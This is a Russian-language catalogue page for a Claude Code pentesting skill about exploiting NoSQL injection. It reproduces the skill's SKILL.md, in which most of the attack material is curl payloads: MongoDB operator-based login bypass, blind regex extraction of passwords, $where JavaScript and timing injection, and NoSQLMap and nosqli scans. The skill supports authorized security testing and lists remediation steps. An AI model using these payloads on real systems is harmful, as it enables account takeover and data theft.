К основному содержанию
скилл CX Codex

exploiting-nosql-injection-vulnerabilities — скилл для Claude Code

Скилл exploiting-nosql-injection-vulnerabilities помогает проверять NoSQL-инъекции в API и веб-приложениях с MongoDB и похожими базами. Он пригодится при авторизованном тестировании ввода и защиты запросов.

Apache-2.0 271 установок ★ 36 511 обновлён 2026-08-31

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-nosql-injection-vulnerabilities -a claude-code
Открыть на GitHub

Что делает exploiting-nosql-injection-vulnerabilities

Скилл описывает поиск точек инъекции в JSON-запросах и параметрах URL, проверку обхода аутентификации и слепое извлечение данных. Для автоматизированного тестирования в нём рассматриваются NoSQLMap и nosqli; также описана работа с Burp Suite и MongoDB Shell.

Для проверок нужны приложение с NoSQL-базой и настроенный перехватчик HTTP-трафика. В списке предварительных требований также есть Python 3.x и понимание операторов MongoDB вроде $ne, $gt и $regex. Без разрешения владельца приложения такие проверки проводить нельзя.

Какие задачи решает

  • найти точки NoSQL-инъекции в API с JSON-вводом
  • проверить, можно ли обойти аутентификацию через операторы запросов
  • проверить слепое извлечение данных по ответам приложения
  • просканировать endpoint с помощью NoSQLMap или nosqli

Примеры запросов агенту

  • Проверь авторизованное тестовое API на NoSQL-инъекции в JSON-параметрах.
  • Оцени, можно ли обойти аутентификацию в тестовом приложении на MongoDB.
  • Подскажи, как проверить endpoint с помощью NoSQLMap и nosqli.

Как установить exploiting-nosql-injection-vulnerabilities

1Через Skills CLI (Vercel)

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-nosql-injection-vulnerabilities -a claude-code

2Вручную: положить файлы

~/.claude/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/exploiting-nosql-injection-vulnerabilities/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Вопросы об exploiting-nosql-injection-vulnerabilities

Как установить exploiting-nosql-injection-vulnerabilities в Claude Code?

Выполните npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-nosql-injection-vulnerabilities -a claude-code. Файл скилла находится по пути ~/.claude/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md.

Что делает exploiting-nosql-injection-vulnerabilities?

Помогает искать и проверять NoSQL-инъекции, включая попытки обхода аутентификации и слепое извлечение данных. Описывает ручные проверки и применение NoSQLMap и nosqli.

Что нужно для работы скилла?

Для тестирования нужны приложение на NoSQL-базе и настроенный перехват HTTP-трафика. В требованиях также перечислены Python 3.x и знание операторов MongoDB.

Исходный текст

SKILL.md · Apache-2.0
---
name: exploiting-nosql-injection-vulnerabilities
description: Detects and exploits NoSQL injection vulnerabilities in MongoDB, CouchDB,
  and similar databases to demonstrate authentication bypass, data extraction, and
  unauthorized access via crafted query operators. Use when pentesting APIs or web
  applications backed by NoSQL databases to test input validation and injection
  defenses.
domain: cybersecurity
subdomain: web-application-security
tags:
- nosql-injection
- mongodb
- authentication-bypass
- injection-attack
- web-security
- database-security
- api-testing
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1055
---

# Exploiting NoSQL Injection Vulnerabilities

## When to Use
- During web application penetration testing of applications using NoSQL databases
- When testing authentication mechanisms backed by MongoDB or similar databases
- When assessing APIs that accept JSON input for database queries
- During bug bounty hunting on applications with NoSQL backends
- When performing security code review of database query construction

## Prerequisites
- Burp Suite Professional or Community Edition with JSON support
- NoSQLMap tool installed (`pip install nosqlmap` or from GitHub)
- Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists)
- Target application using a NoSQL database (MongoDB, CouchDB, Cassandra)
- Proxy configured for HTTP traffic interception
- Python 3.x for custom payload scripting

## Workflow

### Step 1 — Identify NoSQL Injection Points
```bash
# Look for JSON-based login forms or API endpoints
# Common indicators: application accepts JSON POST bodies, uses MongoDB
# Test with basic syntax-breaking characters
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin\"", "password": "test"}'

# Test for operator injection in query parameters
curl "http://target.com/api/users?username[$ne]=invalid"

# Check for error-based detection
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt": ""}}'
```

### Step 2 — Perform Authentication Bypass
```bash
# Basic authentication bypass with $ne operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'

# Bypass with $gt operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Target specific user with regex
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": ".*"}}'

# Bypass using $exists operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$exists": true}, "password": {"$exists": true}}'
```

### Step 3 — Extract Data Using Boolean-Based Blind Injection
```bash
# Extract username character by character using $regex
# Test if first character of admin password is 'a'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^a"}}'

# Test if first two characters are 'ab'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^ab"}}'

# Enumerate usernames with regex
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'
```

### Step 4 — Exploit JavaScript Injection via $where
```bash
# JavaScript injection through $where operator
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.username == \"admin\""}'

# Time-based detection with sleep
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "sleep(5000) || this.username == \"admin\""}'

# Data exfiltration via $where with string comparison
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.password.match(/^a/) != null"}'
```

### Step 5 — Use NoSQLMap for Automated Testing
```bash
# Clone and setup NoSQLMap
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install

# Run NoSQLMap against target
python nosqlmap.py -u http://target.com/api/login \
  --method POST \
  --data '{"username":"test","password":"test"}'

# Alternative: use nosqli scanner
pip install nosqli
nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'
```

### Step 6 — Test URL Parameter Injection
```bash
# Parameter-based injection (GET requests)
curl "http://target.com/api/users?username[$ne]=&password[$ne]="
curl "http://target.com/api/users?username[$regex]=admin&password[$gt]="
curl "http://target.com/api/users?username[$exists]=true"

# Array injection via URL parameters
curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root"

# Inject via HTTP headers if processed by backend
curl http://target.com/api/profile \
  -H "X-User-Id: {'\$ne': null}"
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| Operator Injection | Injecting MongoDB operators ($ne, $gt, $regex) into query parameters |
| Authentication Bypass | Using operators to match any document and bypass login checks |
| Blind Extraction | Character-by-character data extraction using $regex boolean responses |
| $where Injection | Executing arbitrary JavaScript on the MongoDB server via $where operator |
| Type Juggling | Exploiting how NoSQL databases handle different input types (string vs object) |
| BSON Injection | Manipulating Binary JSON serialization in MongoDB wire protocol |
| Server-Side JS | JavaScript execution context available in MongoDB for query evaluation |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| NoSQLMap | Automated NoSQL injection detection and exploitation framework |
| Burp Suite | HTTP proxy for intercepting and modifying JSON requests |
| MongoDB Shell | Direct database interaction for testing query behavior |
| nosqli | Dedicated NoSQL injection scanner and exploitation tool |
| PayloadsAllTheThings | Curated NoSQL injection payload repository |
| Nuclei | Template-based scanner with NoSQL injection detection templates |
| Postman | API testing platform for crafting NoSQL injection requests |

## Common Scenarios

1. **Login Bypass** — Bypass MongoDB-backed authentication using `{"$ne": ""}` operator injection in username and password fields
2. **Data Enumeration** — Extract database contents character by character using `$regex` blind injection when no direct output is visible
3. **Privilege Escalation** — Modify user role fields through NoSQL injection in profile update endpoints
4. **API Key Extraction** — Extract API keys or tokens stored in MongoDB collections through boolean-based blind techniques
5. **Account Takeover** — Enumerate valid usernames via regex injection then brute-force passwords through operator-based authentication bypass

## Output Format

```
## NoSQL Injection Assessment Report
- **Target**: http://target.com/api/login
- **Database**: MongoDB 6.0
- **Vulnerability Type**: Operator Injection (Authentication Bypass)
- **Severity**: Critical (CVSS 9.8)

### Vulnerable Parameters
| Endpoint | Parameter | Injection Type | Impact |
|----------|-----------|---------------|--------|
| POST /api/login | username | Operator ($ne) | Auth Bypass |
| POST /api/login | password | Regex ($regex) | Data Extraction |
| GET /api/users | id | $where JS Injection | RCE Potential |

### Proof of Concept
- Authentication bypass achieved with: {"username":{"$ne":""},"password":{"$ne":""}}
- Extracted 3 admin passwords via blind regex injection
- JavaScript execution confirmed via $where operator

### Remediation
- Use parameterized queries with MongoDB driver sanitization
- Implement input type validation (reject objects where strings expected)
- Disable server-side JavaScript execution ($where) in MongoDB config
- Apply least-privilege database access controls
```

© mahipal · Apache-2.0 · mukul975/Anthropic-Cybersecurity-Skills

Похожие скиллы

Все скиллы по теме «Безопасность» →
nosql-injection yaklang Скилл nosql-injection для Claude Code помогает проверять NoSQL-инъекции в запросах и фильтрах. Подключается к задачам аудита MongoDB-подобных операторов, JSON-запросов и backend DSL. CX Codex +1 3 800установок 705-technologies-nosql-mongodb Juan Antonio Breña Moral Скилл 705-technologies-nosql-mongodb для Claude Code охватывает MongoDB независимо от Spring Boot, Quarkus или Micronaut. Включается при работе со схемами документов, индексами, агрегациями и транзакциями. CX Codex +1 216установок nosql-database-design aj-geddes Скилл nosql-database-design для Claude Code проектирует коллекции MongoDB и таблицы DynamoDB: вложенные документы, индексы, денормализация. Схему определяет до кода. CX Codex +1 494установок nosql-specialist davila7 Субагент nosql-specialist проектирует схемы данных, строит пайплайны агрегации и подбирает индексы для MongoDB, Redis, Cassandra и графовых баз. Помогает перенести логику хранения в NoSQL без ошибок в архитектуре. CX Codex 808установок create-spring-boot-java-project официальный github Скилл create-spring-boot-java-project разворачивает каркас приложения Spring Boot через start.spring.io с готовой конфигурацией базы данных, тестов и Docker. Запускается при запросе на генерацию нового сервиса на Java. CX Codex +1 9 516установок top-web-vulnerabilities zebbern Скилл top-web-vulnerabilities для Claude Code загружает структурированный справочник по 100 веб-уязвимостям, сгруппированным в 15 категорий. CX Codex +1 1 019установок

Из того же набора152

Весь набор →
analyzing-threat-actor-ttps-with-mitre-navigator Скилл analyzing-threat-actor-ttps-with-mitre-navigator для картирования техник угроз (TTP) группы APT к фреймворку MITRE ATT&CK с помощью библиотеки attackcti и создания визуализаций в ATT&CK Navigator. CX Codex +1 275установок analyzing-prefetch-files-for-execution-history Скилл analyzing-prefetch-files-for-execution-history разбирает файлы Windows Prefetch для восстановления истории запусков программ и таймлайна инцидента. Пригодится форензик-специалистам при расследовании атак. CX Codex +1 275установок auditing-kubernetes-cluster-rbac Скилл auditing-kubernetes-cluster-rbac для Claude Code проверяет RBAC в Kubernetes, выявляя чрезмерные права, опасные привязки и пути повышения привилегий. Выполняет аудит доступа в кластере. CX Codex +1 273установок exploiting-mass-assignment-in-rest-apis Скилл exploiting-mass-assignment-in-rest-apis помогает находить и эксплуатировать уязвимости mass assignment в REST API. Пригодится при аудите безопасности эндпоинтов на базе популярных ORM. CX Codex +1 271установок building-vulnerability-scanning-workflow Скилл building-vulnerability-scanning-workflow для Claude Code автоматизирует поиск, оценку риска и отслеживание уязвимостей через Nessus, Qualys и OpenVAS, связывая результаты с SIEM-алертами SOC-команд. CX Codex +1 271установок testing-for-email-header-injection Скилл testing-for-email-header-injection для Claude Code проверяет веб-формы на инъекции SMTP-заголовков и включается во время пентеста функций, отправляющих пользовательский ввод по почте. CX Codex +1 270установок exploiting-prototype-pollution-in-javascript Скилл exploiting-prototype-pollution-in-javascript для Claude Code ищет уязвимости prototype pollution в JavaScript и Node.js. Включается при проверке функций слияния объектов и пользовательских ключей. CX Codex +1 267установок exploiting-template-injection-vulnerabilities Скилл exploiting-template-injection-vulnerabilities для Claude Code, который находит и эксплуатирует Server-Side Template Injection в Jinja2, Twig, Freemarker и других шаблонизаторах. CX Codex +1 266установок

Ещё в каталоге

Спонсоры проекта

Компании, которые помогают держать аналитику открытой